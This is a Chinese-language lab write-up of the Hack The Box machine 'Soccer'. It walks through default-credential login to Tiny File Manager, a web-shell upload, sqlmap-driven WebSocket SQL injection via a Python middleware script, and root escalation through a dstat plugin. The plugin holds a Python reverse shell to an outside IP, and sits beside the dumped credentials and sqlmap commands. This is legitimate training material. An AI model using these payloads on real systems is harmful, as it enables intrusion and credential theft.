0.HTB配置
Hackthebox的靶机与vulnhub不同,不需要下载,为在线靶场。但是需要VPN连接才能测试靶机。首先需要先下载vpn文件,在右上角的下拉菜单中选择VPN接入点和服务,这里选的都是欧洲免费节点:
然后点击下载vpn文件xxx.opvn,把该文件放到kali虚拟机中,kali自带openvpn程序,执行以下命令开启vpn。
openvpn xxx.opvn
看到下图的红框中字样说明vpn连接成功,kali系统右上角会显示当前vpn的本机IP地址。而靶机IP地址是在启动hackthebox的machine后,在其网页中显示。
现在知道了本机和靶机IP地址,可以开始测试啦!
1.信息收集
端口扫描:
浏览器访问80端口,ip地址转为域名soccer.htb
将域名加入/etc/hosts文件:
echo 10.10.11.194 soccer.htb >> /etc/hosts
域名添加后,再次访问可以看到网页内容。但是检查了网页后,并没有发现可利用的地方。
浏览器9091端口,没有有用信息:
目录扫描:
gobuster dir -u http://soccer.htb -w /usr/share/seclists/Discovery/Web-Content/SVNDigger/all-dirs.txt
发现了/tiny目录,发现为tiny文件管理系统。
2.Tiny文件管理反弹shell
尝试用tiny文件管理系统的默认账密登录:
username :admin
password: admin@123
或者
username: user
password: 12345
登录成功!
在这里看到了http://soccer.htb 页面的主页html和图片内容,在网页源码中可以看到这些文件的url。例如ground1.jpg可以通过http://soccer.htb/ground1.jpg 访问。
那么如果上传shell文件,则也可以通过上述路径触发反弹连接。
点击“uploads”上传shell文件:
然后在upload路径下可以看到上传的文件,点击后面的“链接”按钮,就可以获得文件的访问url。
这里注意:后台有一个程序会定期的清空upload目录,如果动作慢了,上传文件就会被删除。
在kali中监听端口,然后访问反弹shell的url,反弹shell成功!
3.Websocket的SQL注入
当前权限为www-data。在**/etc/nginx/sites-enabled**目录中,发现了子域名。
把soc-player.soccer.hackthebox加入到/etc/hosts文件中,然后访问http://soc-player.soccer.hackthebox/
与soccer.hackthebox不同的是,这个页面可以进行注册和登录,所以我们注册一个账号并登录:
检查网页源码,看到这是一个验票器,验证地址是一个websocket,地址是ws://soc-player.soccer.hackthebox:9001 ,提交的数据是json,格式如:
“id":"93570"
这个id看起来可以作为sql注入点,查资料“websocket如何进行sql注入”,发现其提供一python脚本,将其修改后如下:
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soc-player.soccer.hackthebox:9091" # I changed here
def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
# For our case, format the payload in JSON
message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
data = '{"id":"%s"}' % message # I changed here
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
该脚本将在端口 8081 上创建一个 HTTP 服务器并提取第一个 GET 参数值,将值发送到 send_ws
函数,在那里它将按照易受攻击的 Web 应用程序的要求格式化为 JSON 消息。然后它将与 ws_server
变量中提到的服务器端点建立 WebSocket 连接并发送SQL注入payload。
脚本准备好了,先运行脚本,再运行sqlmap:
sqlmap -u http://localhost:8081/?id=1 --dump-all --exclude-sysdbs
得到soccer_db数据库的accounts表
+------+-------------------+----------+----------------------+
| id | email | username | password |
+------+-------------------+----------+----------------------+
| 1324 | player@player.hackthebox | player | PlayerOftheMatch2022 |
+------+-------------------+----------+----------------------+
用ssh连接,以player用户身份登录靶机系统,获得user flag。
ssh player@soccer.hackthebox
密码:PlayerOftheMatch2022
4.提权
利用本地提权工具linpeas查找提权向量,把linpeas.sh上传至靶机,然后执行:
./linpeas.sh -a
扫描到doas程序的配置文件中,写道player用户可以无密码以root身份执行dstat程序:
这里首先要清楚相关的两个程序是什么:
doas:以其他用户身份执行命令,类似于sudo。可以用-u参数指定用户。
dstat:是ifstat,vmstat等命令的替代。这里知道我们可以用root身份执行它就行了。
那么怎样把root shell的payload借dstat执行呢?先搜索一下这个程序的相关文件:
find / -name dstat -type d 2>/dev/null
与dstat程序的手册说明对比,得知这个路径下,全部都是dstat程序的插件,统一命名为dstat_xxx.py,调用的时候就加参数–xxx。
那么我们创建一个python shell插件,在/tmp文件夹创建dstat_soccer.py:
touch dstat_soccer.py
python文件内容:
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.16.11",2929));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
import pty; pty.spawn("/bin/sh")
然后复制到**/usr/local/share/dstat文件夹**,这个文件夹可以写入且程序也会寻找这个目录下的插件:
cp dstat_soccer.py /usr/local/share/dstat/
最后,在本机监听端口等待反连,然后以root身份执行dstat程序插件
doas -u root /usr/bin/dstat --soccer
成功提权到root,并获取flag:
虽然磕磕绊绊,但是第一个HTB靶机收获很多,呱唧呱唧!